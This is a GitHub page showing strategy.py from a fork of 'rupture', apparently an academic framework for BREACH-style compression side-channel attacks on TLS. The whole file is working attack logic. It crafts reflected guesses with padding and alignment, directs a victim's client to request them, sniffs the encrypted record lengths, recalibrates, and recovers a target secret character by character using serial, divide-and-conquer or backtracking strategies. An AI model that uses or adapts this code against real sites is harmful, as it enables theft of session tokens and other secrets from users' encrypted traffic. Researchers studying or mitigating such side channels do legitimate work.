forked from decrypto-org/rupture
-
Notifications
You must be signed in to change notification settings - Fork 1
/
strategy.py
616 lines (485 loc) · 24.9 KB
/
strategy.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
from django.utils import timezone
from django.db.models import Max
from django.core.exceptions import ValidationError
from breach.analyzer import decide_next_world_state
from breach.backtracking_analyzer import decide_next_backtracking_world_state
from breach.models import Target, Round, SampleSet
from breach.sniffer import Sniffer
import string
import requests
import logging
import random
logger = logging.getLogger(__name__)
CALIBRATION_STEP = 0.1
CALIBRATION_SAMPLESET_WINDOW_CHECK = 3
class MaxReflectionLengthError(Exception):
'''Custom exception to handle cases when maxreflectionlength
is not sufficient for the attack to continue.'''
pass
class Strategy(object):
def __init__(self, victim):
self._victim = victim
sniffer_params = {
'snifferendpoint': self._victim.snifferendpoint,
'sourceip': self._victim.sourceip,
'host': self._victim.target.host,
'interface': self._victim.interface,
'port': self._victim.target.port,
'calibration_wait': self._victim.calibration_wait
}
self.sniffer = Sniffer(sniffer_params)
# Extract maximum round index for the current victim.
current_round_index = Round.objects.filter(victim=self._victim).aggregate(Max('index'))['index__max']
if not current_round_index:
current_round_index = 1
self._analyzed = True
try:
self._begin_attack()
except MaxReflectionLengthError:
# If the initial round or samplesets cannot be created, end the analysis
return
self._choose_next_round(self._victim.target.method, current_round_index)
self._analyzed = False
def _choose_next_round(self, method, current_round_index):
# Choose next round to analyze, based on the execution method.
if method == Target.BACKTRACKING:
candidate_rounds = Round.objects.filter(
victim=self._victim,
completed=None
).order_by('-accumulated_probability')
self._round = candidate_rounds[0]
self._round.started = timezone.now()
self._round.save()
else:
self._round = Round.objects.filter(
victim=self._victim,
index=current_round_index
)[0]
def get_decrypted_secret(self):
return self._round.knownsecret
def get_backtracking_scoreboard(self):
candidate_rounds = Round.objects.filter(completed=None).order_by('-accumulated_probability')
return [{'knownsecret': i.knownsecret, 'accumulated_probability': i.accumulated_probability} for i in candidate_rounds]
def _build_candidates_divide_conquer(self, state):
candidate_alphabet_cardinality = len(state['knownalphabet']) / 2
bottom_half = state['knownalphabet'][:candidate_alphabet_cardinality]
top_half = state['knownalphabet'][candidate_alphabet_cardinality:]
return [bottom_half, top_half]
def _build_candidates_serial(self, state):
return state['knownalphabet']
def _build_candidates(self, state):
'''Given a state of the world, produce a list of candidate alphabets.'''
methods = {
Target.SERIAL: self._build_candidates_serial,
Target.DIVIDE_CONQUER: self._build_candidates_divide_conquer,
Target.BACKTRACKING: self._build_candidates_serial
}
return methods[self._round.get_method()](state)
def _get_first_round_state(self):
return {
'knownsecret': self._victim.target.prefix,
'candidatealphabet': self._victim.target.alphabet,
'knownalphabet': self._victim.target.alphabet,
'probability': 1.0
}
def _get_unstarted_samplesets(self):
return SampleSet.objects.filter(
round=self._round,
started=None
)
def _reflection(self, alphabet):
# We use sentinel as a separator symbol and we assume it is not part of the
# secret. We also assume it will not be in the content.
# Added symbols are the total amount of dummy symbols that need to be added,
# either in candidate alphabet or huffman complement set in order
# to avoid huffman tree imbalance between samplesets of the same batch.
added_symbols = self._round.maxroundcardinality - self._round.minroundcardinality
sentinel = self._victim.target.sentinel
assert(sentinel not in self._round.knownalphabet)
knownalphabet_complement = list(set(string.ascii_letters + string.digits) - set(self._round.knownalphabet))
candidate_secrets = set()
for letter in alphabet:
candidate_secret = self._round.knownsecret + letter
candidate_secrets.add(candidate_secret)
# Candidate balance indicates the amount of dummy symbols that will be included with the
# candidate alphabet's part of the reflection.
candidate_balance = self._round.maxroundcardinality - len(candidate_secrets)
assert(len(knownalphabet_complement) > candidate_balance)
candidate_balance = [self._round.knownsecret + c for c in knownalphabet_complement[0:candidate_balance]]
reflected_data = [
'',
sentinel.join(list(candidate_secrets) + candidate_balance),
''
]
if self._round.huffman_pool:
# Huffman complement indicates the knownalphabet symbols that are not currently being tested
huffman_complement = set(self._round.knownalphabet) - set(alphabet)
huffman_balance = added_symbols - len(candidate_balance)
assert(len(knownalphabet_complement) > len(candidate_balance) + huffman_balance)
huffman_balance = knownalphabet_complement[len(candidate_balance):huffman_balance]
reflected_data.insert(1, sentinel.join(list(huffman_complement) + huffman_balance))
reflection = sentinel.join(reflected_data)
return reflection
def _url(self, alphabet):
return self._victim.target.endpoint % self._reflection(alphabet)
def _sampleset_to_work(self, sampleset):
return {
'url': self._url(sampleset.candidatealphabet),
'amount': self._victim.target.samplesize,
'alignmentalphabet': sampleset.alignmentalphabet,
'timeout': 0
}
def get_work(self):
'''Produces work for the victim.
Pre-condition: There is already work to do.'''
# If analysis is complete or maxreflectionlength cannot be overcome
# then execution should abort
if self._analyzed:
logger.debug('Aborting get_work because analysis is completed')
return {}
# Reaps a hanging sampleset that may exist from previous framework execution
# Hanging sampleset condition: backend or realtime crash
hanging_samplesets = self._get_started_samplesets()
for s in hanging_samplesets:
logger.warning('Reaping hanging set for: {}'.format(s.candidatealphabet))
self._mark_current_work_completed(sampleset=s)
try:
self.sniffer.start()
except (requests.HTTPError, requests.exceptions.ConnectionError), err:
if isinstance(err, requests.HTTPError):
status_code = err.response.status_code
logger.warning('Caught {} while trying to start sniffer.'.format(status_code))
# If status was raised due to conflict,
# delete already existing sniffer.
if status_code == 409:
try:
self.sniffer.delete()
except (requests.HTTPError, requests.exceptions.ConnectionError), err:
logger.warning('Caught error when trying to delete sniffer: {}'.format(err))
elif isinstance(err, requests.exceptions.ConnectionError):
logger.warning('Caught ConnectionError')
# An error occurred, so if there is a started sampleset mark it as failed
if SampleSet.objects.filter(round=self._round, completed=None).exclude(started=None):
self._mark_current_work_completed()
return {}
unstarted_samplesets = self._get_unstarted_samplesets()
logger.debug('Found %i unstarted samplesets', len(unstarted_samplesets))
assert(unstarted_samplesets)
sampleset = unstarted_samplesets[0]
sampleset.started = timezone.now()
sampleset.save()
work = self._sampleset_to_work(sampleset)
logger.debug('Giving work:')
logger.debug('\tCandidate: {}'.format(sampleset.candidatealphabet))
logger.debug('\tKnown secret: {}'.format(sampleset.round.knownsecret))
logger.debug('\tKnown alphabet: {}'.format(sampleset.round.knownalphabet))
logger.debug('\tAlignment alphabet: {}'.format(sampleset.alignmentalphabet))
logger.debug('\tAmount: {}'.format(sampleset.round.amount))
return work
def _get_started_samplesets(self):
return SampleSet.objects.filter(
round=self._round,
completed=None
).exclude(started=None)
def _get_current_sampleset(self):
started_samplesets = self._get_started_samplesets()
assert(len(started_samplesets) == 1)
sampleset = started_samplesets[0]
return sampleset
def _handle_sampleset_success(self, capture, sampleset):
'''Save capture of successful sampleset
or mark sampleset as failed and create new sampleset for the same element that failed.'''
if capture:
sampleset.success = True
sampleset.datalength = len(capture['data'])
sampleset.records = capture['records']
sampleset.save()
else:
SampleSet.create_sampleset({
'round': self._round,
'candidatealphabet': sampleset.candidatealphabet,
'alignmentalphabet': sampleset.alignmentalphabet,
'batch': sampleset.batch
})
def _mark_current_work_completed(self, capture=None, sampleset=None):
if not sampleset:
sampleset = self._get_current_sampleset()
logger.debug('Marking sampleset as completed:')
logger.debug('\tcandidatealphabet: %s', sampleset.candidatealphabet)
logger.debug('\troundknownalphabet: %s', sampleset.round.knownalphabet)
sampleset.completed = timezone.now()
sampleset.save()
self._handle_sampleset_success(capture, sampleset)
def _collect_capture(self):
return self.sniffer.read()
def _analyze_current_round(self):
'''Analyzes the current round samplesets to extract a decision.'''
current_round_samplesets = SampleSet.objects.filter(round=self._round, success=True)
if self._round.get_method() == Target.BACKTRACKING:
self._decision = decide_next_backtracking_world_state(
current_round_samplesets,
self._round.accumulated_probability
)
else:
self._decision = decide_next_world_state(current_round_samplesets)
self._analyzed = True
def _round_is_completed(self):
'''Checks if current round is completed.'''
assert(self._analyzed)
# Do we need to collect more samplesets to build up confidence?
if self._round.get_method() != Target.BACKTRACKING:
return self._decision['confidence'] > self._victim.target.confidence_threshold
else:
# If backtracking is enabled we don't have to build extra confidence.
return True
def _create_next_round(self):
assert(self._round_is_completed())
self._create_round(self._decision['state'])
def _create_new_rounds(self):
assert(self._round_is_completed())
# Create round for every optimal candidate.
for candidate in self._decision:
self._create_round(candidate)
self._create_round_samplesets()
def _set_round_cardinalities(self, candidate_alphabets):
self._round.maxroundcardinality = max(map(len, candidate_alphabets))
self._round.minroundcardinality = min(map(len, candidate_alphabets))
def _adapt_reflection_length(self, state):
'''Check reflection length compared to maxreflectionlength.
If current reflection length is bigger, downgrade various attack aspects
until reflection length <= maxreflectionlength.
If all downgrade attempts fail, raise a MaxReflectionLengthError.
Condition: Reflection returns strings of same length for all candidates in
candidate alphabet.'''
def _build_candidate_alphabets():
candidate_alphabets = self._build_candidates(state)
self._set_round_cardinalities(candidate_alphabets)
return candidate_alphabets
def _get_first_reflection():
alphabet = _build_candidate_alphabets()[0]
return self._reflection(alphabet)
if self._round.victim.target.maxreflectionlength == 0:
self._set_round_cardinalities(self._build_candidates(state))
return
while len(_get_first_reflection()) > self._round.victim.target.maxreflectionlength:
if self._round.method == Target.DIVIDE_CONQUER:
self._round.method = Target.SERIAL
self._round.save()
logger.info('Divide & conquer method cannot be used, falling back to serial.')
elif self._round.huffman_pool:
self._round.huffman_pool = False
self._round.save()
logger.info('Huffman pool cannot be used, removing it.')
else:
raise MaxReflectionLengthError('Cannot attack, specified maxreflectionlength is too short')
def _create_round(self, state):
'''Creates a new round based on the analysis of the current round.'''
assert(self._analyzed)
# If backtracking is enabled, we need to pass the accumulated
# probability of the given candidate. Else we pass the default value.
#
# Next round index is calculated by incrementing current round index.
# However backtracking does not always analyzes the round with maximum
# index so each time we need to extract that value for the rounds to
# come.
prob = 1.0
max_index = self._round.index + 1 if hasattr(self, '_round') else 1
if self._victim.target.method == Target.BACKTRACKING:
prob = state['probability']
if max_index != 1:
max_index = Round.objects.filter(victim=self._victim).aggregate(Max('index'))['index__max'] + 1
# This next round could potentially be the final round.
# A final round has the complete secret stored in knownsecret.
next_round = Round(
victim=self._victim,
index=max_index,
amount=self._victim.target.samplesize,
knownalphabet=state['knownalphabet'],
knownsecret=state['knownsecret'],
accumulated_probability=prob,
huffman_pool=self._victim.target.huffman_pool,
block_align=self._victim.target.block_align,
method=self._victim.target.method
)
next_round.save()
self._round = next_round
try:
self._adapt_reflection_length(state)
except MaxReflectionLengthError, err:
self._round.delete()
self._analyzed = True
logger.info(err)
raise err
try:
next_round.clean()
except ValidationError, err:
logger.error(err)
self._round.delete()
raise err
def _create_round_samplesets(self):
state = {
'knownalphabet': self._round.knownalphabet,
'knownsecret': self._round.knownsecret
}
self._round.batch += 1
self._round.save()
candidate_alphabets = self._build_candidates(state)
alignmentalphabet = ''
if self._round.block_align:
alignmentalphabet = list(self._round.victim.target.alignmentalphabet)
random.shuffle(alignmentalphabet)
alignmentalphabet = ''.join(alignmentalphabet)
for candidate in candidate_alphabets:
SampleSet.create_sampleset({
'round': self._round,
'candidatealphabet': candidate,
'alignmentalphabet': alignmentalphabet,
'batch': self._round.batch
})
def _attack_is_completed(self):
return len(self._round.knownsecret) == self._victim.target.secretlength
def _check_branch_length(self):
return self._round.knownsecret == self._victim.target.secretlength
def _need_for_calibration(self):
started_samplesets = SampleSet.objects.filter(round=self._round).exclude(started=None)
minimum_samplesets = len(started_samplesets) >= CALIBRATION_SAMPLESET_WINDOW_CHECK
calibration_samplesets = SampleSet.objects.filter(round=self._round).order_by('-completed')[0:CALIBRATION_SAMPLESET_WINDOW_CHECK]
consecutive_failed_samplesets = all([not sampleset.success for sampleset in calibration_samplesets])
return minimum_samplesets and consecutive_failed_samplesets
def _need_for_cardinality_update(self):
calibration_samplesets = SampleSet.objects.filter(round=self._round).order_by('-completed')[0:CALIBRATION_SAMPLESET_WINDOW_CHECK]
consecutive_new_cardinality_samplesets = all(
[sampleset.records % sampleset.round.victim.target.samplesize == 0 for sampleset in calibration_samplesets]
)
return self._need_for_calibration() and consecutive_new_cardinality_samplesets
def _flush_batch_samplesets(self):
'''Mark all successful samplesets of current round's batch as failed
and create replacements.'''
current_batch_samplesets = SampleSet.objects.filter(round=self._round, batch=self._round.batch, success=True).exclude(started=None)
for sampleset in current_batch_samplesets:
self._mark_current_work_completed(sampleset=sampleset)
def work_completed(self, success=True):
'''Receives and consumes work completed from the victim, analyzes
the work, and returns True if the attack is complete (victory),
otherwise returns False if more work is needed.
It also creates the new work that is needed.
Post-condition: Either the attack is completed, or there is work to
do (there are unstarted samplesets in the database).'''
try:
if success:
# Call sniffer to get captured data
capture = self._collect_capture()
logger.debug('Work completed:')
logger.debug('\tLength: {}'.format(len(capture['data'])))
logger.debug('\tRecords: {}'.format(capture['records']))
# Check if all TLS response records were captured,
# if available
if self._victim.recordscardinality:
expected_records = self._victim.target.samplesize * self._victim.recordscardinality
if capture['records'] != expected_records:
if capture['records'] == 0 or capture['records'] % self._victim.target.samplesize:
logger.debug('Records not multiple of samplesize. Checking need for calibration...')
if self._need_for_calibration():
self._victim.calibration_wait += CALIBRATION_STEP
self._victim.save()
logger.debug('Calibrating system. New calibration_wait time: {} seconds'.format(self._victim.calibration_wait))
else:
logger.debug('Records multiple of samplesize but with different cardinality.')
if self._need_for_cardinality_update():
self._victim.recordscardinality = int(capture['records'] / self._victim.target.samplesize)
self._victim.save()
self._victim.target.recordscardinality = int(capture['records'] / self._victim.target.samplesize)
self._victim.target.save()
self._flush_batch_samplesets()
logger.debug("Updating records' cardinality. New cardinality: {}".format(self._victim.recordscardinality))
raise ValueError('Not all records captured')
else:
logger.debug('Client returned fail to realtime')
raise ValueError('Realtime reported unsuccessful capture')
# Stop data collection and delete sniffer
self.sniffer.delete()
except (requests.HTTPError, requests.exceptions.ConnectionError, ValueError), err:
if isinstance(err, requests.HTTPError):
status_code = err.response.status_code
logger.warning('Caught {} while trying to collect capture and delete sniffer.'.format(status_code))
# If status was raised due to malformed capture,
# delete sniffer to avoid conflict.
if status_code == 422:
try:
self.sniffer.delete()
except (requests.HTTPError, requests.exceptions.ConnectionError), err:
logger.warning('Caught error when trying to delete sniffer: {}'.format(err))
elif isinstance(err, requests.exceptions.ConnectionError):
logger.warning('Caught ConnectionError')
elif isinstance(err, ValueError):
logger.warning(err)
try:
self.sniffer.delete()
except (requests.HTTPError, requests.exceptions.ConnectionError), err:
logger.warning('Caught error when trying to delete sniffer: {}'.format(err))
# An error occurred, so if there is a started sampleset mark it as failed
if SampleSet.objects.filter(round=self._round, completed=None).exclude(started=None):
self._mark_current_work_completed()
return False
self._mark_current_work_completed(capture)
round_samplesets = SampleSet.objects.filter(round=self._round)
unstarted_samplesets = round_samplesets.filter(started=None)
if unstarted_samplesets:
# Batch is not yet complete, we need to collect more samplesets
# that have already been created for this batch.
return False
# All batches are completed.
self._analyze_current_round()
# Serial and divide and conquer methods require a certain confidence to
# complete current round, whereas backtracking only checks if final
# secret is recovered.
if self._victim.target.method == Target.BACKTRACKING:
return self._complete_backtracking_round()
else:
return self._complete_round()
def _complete_round(self):
logger.info(75 * '$')
logger.info('Decision:')
for i in self._decision:
logger.info('\t{}: {}'.format(i, self._decision[i]))
logger.info(75 * '$')
if self._round_is_completed():
# Advance to the next round.
try:
self._create_next_round()
except MaxReflectionLengthError:
# If a new round cannot be created, end the attack
return True
if self._attack_is_completed():
return True
# Not enough confidence, we need to create more samplesets to be
# collected for this round.
self._create_round_samplesets()
return False
def _complete_backtracking_round(self):
self._round.completed = timezone.now()
self._round.save()
if not self._check_branch_length():
try:
self._create_new_rounds()
logger.info(75 * '$')
logger.info('Optimal Candidates:')
candidate_rounds = Round.objects.filter(completed=None).order_by('-accumulated_probability')
for i in candidate_rounds:
logger.info('\tSecret: %s Probability: %.6f' % (i.knownsecret, i.accumulated_probability))
logger.info(75 * '$')
return False
except MaxReflectionLengthError:
# If a new round cannot be created, end the attack.
return True
logger.info(75 * '$')
logger.info('Optimal Candidates:')
for i in self.get_backtracking_scoreboard():
logger.info('\tSecret: %s Probability: %.6f' % (i['knownsecret'], i['accumulated_probability']))
logger.info(75 * '$')
# If current branch is completed, then we already matched the
# secretlength.
return True
def _begin_attack(self):
self._create_round(self._get_first_round_state())
self._create_round_samplesets()